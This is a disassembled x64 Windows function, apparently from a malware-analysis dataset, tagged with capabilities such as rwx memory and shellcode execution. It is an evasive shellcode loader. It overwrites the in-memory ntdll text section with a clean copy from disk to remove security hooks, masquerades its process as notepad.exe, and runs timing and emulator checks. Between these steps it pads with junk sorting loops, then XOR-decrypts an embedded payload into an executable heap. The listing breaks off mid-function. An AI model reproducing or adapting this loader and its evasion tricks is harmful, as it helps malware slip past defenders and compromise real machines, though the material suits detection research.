Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7d8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x740], xmm6
mov dword [rbp + 0x780], ecx
mov qword [rbp + 0x788], rdx
call fcn.140002d40
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6e0], rax
mov ecx, 0xc68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov ecx, 0xc68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0xc68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0xc68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x738], 0x319
mov dword [rbp + 0x73c], 0
jmp 0x1400015a0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x319
jle 0x14000150d
mov dword [rbp + 0x73c], 0
jmp 0x14000163f
mov eax, dword [rbp + 0x738]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x738]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x738], 1
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x319
jle 0x1400015bf
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6b8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
jne 0x14000170f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x1400019f4
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4f0]
mov rax, qword [rbp + 0x6b8]
mov r10, qword [rbp + 0x730]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x4f0]
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x72c], 0xffffffff
add dword [rbp + 0x72c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x122
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e10
movq rax, xmm0
mov qword [rbp + 0x6a8], rax
cmp dword [rbp + 0x72c], 0x1d7
jle 0x140001765
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x6b0]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov qword [rbp + 0x680], rax
mov word [rbp + 0x72a], 0
jmp 0x1400019dc
mov rax, qword [rbp + 0x680]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x680]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x72a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019cb
mov dword [rbp + 0x4b8], 0
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x690]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4b8]
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x678]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x72a]
add eax, 1
mov word [rbp + 0x72a], ax
mov rax, qword [rbp + 0x680]
movzx eax, word [rax + 6]
cmp word [rbp + 0x72a], ax
jb 0x1400018a0
mov ecx, 0xa98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x724], 0
jmp 0x140001a5e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x724]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0x2a5
jle 0x140001a11
mov dword [rbp + 0x724], 0
jmp 0x140001b4e
cmp dword [rbp + 0x724], 0
je 0x140001abe
mov eax, dword [rbp + 0x724]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x724]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001aca
add dword [rbp + 0x724], 1
jmp 0x140001b4e
mov eax, dword [rbp + 0x724]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x508], eax
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rbp + 0x724]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x508]
mov dword [rdx], eax
sub dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0x2a5
jle 0x140001a79
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x4bc], 0
mov rax, qword [rbp + 0x6e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x4bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x668]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x4c8]
add rax, 0x3c
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x660]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x65c], 0x325
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
call rax
mov dword [rbp + 0x64c], eax
mov eax, dword [rbp + 0x65c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x650]
call rax
mov dword [rbp + 0x648], eax
mov eax, dword [rbp + 0x648]
sub eax, dword [rbp + 0x64c]
cmp eax, 0x2f3
jbe 0x140002c75
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
call rax
mov dword [rbp + 0x63c], eax
mov ecx, 0x2f8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x640]
call rax
mov dword [rbp + 0x638], eax
mov eax, dword [rbp + 0x638]
sub eax, dword [rbp + 0x63c]
cmp eax, 0x2c6
jbe 0x140002c75
mov qword [rbp + 0x630], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x11aee80
mov ecx, 0
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
je 0x140002c75
mov rax, qword [rbp + 0x630]
mov edx, 0x11aee80
mov rcx, rax
call fcn.140004ca0
mov rax, qword [rbp + 0x630]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x620], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x618]
mov r9d, 0x3000
mov r8d, 0x370
mov edx, 0
call rax
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
je 0x140002c75
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
jne 0x140002c75
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x600], rax
cmp qword [rbp + 0x600], 0
je 0x140001eda
mov rax, qword [rbp + 0x600]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
mov ecx, 0
call rax
mov dword [rbp + 0x720], eax
cmp dword [rbp + 0x720], 0xffffffff
je 0x140002c75
mov qword [rbp + 0x5f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x42e7280
mov ecx, 0
call rax
mov qword [rbp + 0x5f0], rax
cmp qword [rbp + 0x5f0], 0
je 0x140002c75
mov rax, qword [rbp + 0x5f0]
mov edx, 0x42e7280
mov rcx, rax
call fcn.140004ca0
mov rax, qword [rbp + 0x5f0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5e0], rax
cmp qword [rbp + 0x5e0], 0
jne 0x140002c75
mov dword [rbp + 0x5dc], 0x270
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
call rax
mov dword [rbp + 0x5cc], eax
mov eax, dword [rbp + 0x5dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x5d0]
call rax
mov dword [rbp + 0x5c8], eax
mov eax, dword [rbp + 0x5c8]
sub eax, dword [rbp + 0x5cc]
cmp eax, 0x23e
jbe 0x140002c75
mov dword [rbp + 0x5c4], 0x295
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x5b0]
call rax
mov dword [rbp + 0x5ac], eax
mov eax, dword [rbp + 0x5c4]
mov r8, qword [rbp + 0x5b8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5b0]
call rax
mov dword [rbp + 0x5a8], eax
mov eax, dword [rbp + 0x5a8]
sub eax, dword [rbp + 0x5ac]
cmp eax, 0x263
jbe 0x140002c75
lea rax, [rbp + 0x60]
lea rdx, [0x140006138]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x6e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x6e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x5a0]
mov r8d, 0
mov edx, 0x456
mov ecx, 0x40000
call rax
mov qword [rbp + 0x590], rax
mov ecx, 0x728
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x588], rax
mov dword [rbp + 0x718], 0
mov dword [rbp + 0x584], 0
mov dword [rbp + 0x71c], 0
jmp 0x14000220e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x71c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x588]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x1c9
jle 0x1400021c2
mov dword [rbp + 0x71c], 0
jmp 0x14000224f
mov eax, dword [rbp + 0x71c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x588]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x718], eax
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x1c9
jle 0x140002226
mov rax, qword [rbp + 0x588]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x590]
mov r9, qword [rbp + 0x598]
mov r8d, 0x456
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x6e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x570], rax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x578]
mov r9, qword [rbp + 0x570]
mov r8d, 0x456
mov rcx, rax
call r9
mov dword [rbp + 0x710], 0
mov dword [rbp + 0x70c], 0
movabs rax, 0x175c3761df4bf824
movabs rdx, 0x786dcc87ad2ee638
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x18b0db815ea70917
movabs rdx, 0xd88d72237318d0ec
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov dword [rbp + 0x10], 0xb1d2a4
movabs rax, 0x6ad635c9fba2f52
movabs rdx, 0x25b87b6fa5ea5ab6
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x2321b3c1b6c66246
movabs rdx, 0x5a3a249c4c45667f
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xf252cfcd031bc973
movabs rdx, 0x6ffebeb80a0aa448
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov dword [rbp + 0x50], 0x6698e8
mov dword [rbp + 0x714], 0
jmp 0x14000276d
mov ecx, 0xea8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x520], rax
mov dword [rbp + 0x708], 0
jmp 0x1400023f6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x708]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x520]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x3a9
jle 0x1400023a9
mov dword [rbp + 0x708], 0
jmp 0x14000250e
mov dword [rbp + 0x510], 0
jmp 0x1400024f0
mov eax, dword [rbp + 0x708]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x520]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x510]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x520]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400024e9
mov eax, dword [rbp + 0x510]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x520]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x50c], eax
mov eax, dword [rbp + 0x708]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x520]
add rax, rdx
mov edx, dword [rbp + 0x510]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x520]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x510]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x520]
add rdx, rax
mov eax, dword [rbp + 0x50c]
mov dword [rdx], eax
add dword [rbp + 0x708], 1
mov eax, 0x3a9
sub eax, dword [rbp + 0x708]
cmp dword [rbp + 0x510], eax
jl 0x140002420
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x3a9
jle 0x140002411
mov rax, qword [rbp + 0x520]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x710], 0x32
jne 0x14000256d
mov eax, dword [rbp + 0x714]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x710]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x714]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x710], 0
jmp 0x140002766
mov ecx, 0xc84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x518], rax
mov dword [rbp + 0x704], 0
jmp 0x140002614
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x518]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0x320
jle 0x14000258d
mov dword [rbp + 0x704], 0
jmp 0x140002718
cmp dword [rbp + 0x704], 0
je 0x14000267d
mov eax, dword [rbp + 0x704]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x518]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x518]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140002689
add dword [rbp + 0x704], 1
jmp 0x140002718
mov eax, dword [rbp + 0x704]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x518]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x514], xmm0
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x518]
add rdx, rax
mov eax, dword [rbp + 0x704]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x518]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x518]
add rax, rdx
movss xmm0, dword [rbp + 0x514]
movss dword [rax], xmm0
sub dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0x320
jle 0x140002633
mov rax, qword [rbp + 0x518]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x714]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x710]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x714]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x710], 1
add dword [rbp + 0x714], 1
mov eax, dword [rbp + 0x714]
cmp eax, 0x22
jbe 0x14000238c
mov dword [rbp + 0x714], 0
jmp 0x140002b7f
mov dword [rbp + 0x700], 0xffffffff
mov ecx, 0x11d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x548], rax
add dword [rbp + 0x700], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x700]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x548]
add rax, rdx
movsd xmm1, qword [0x140006598]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x700]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x548]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x700]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x548]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x700], 0x238
jle 0x1400027a6
cmp dword [rbp + 0x70c], 0x22
jne 0x140002a22
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x70c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0x978
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x530], rax
mov dword [rbp + 0x6fc], 0
jmp 0x140002904
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x530]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x6fc], 1
cmp dword [rbp + 0x6fc], 0x25d
jle 0x1400028b7
mov dword [rbp + 0x6fc], 0
jmp 0x1400029f4
cmp dword [rbp + 0x6fc], 0
je 0x140002964
mov eax, dword [rbp + 0x6fc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x530]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x6fc]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x530]
add rax, rcx
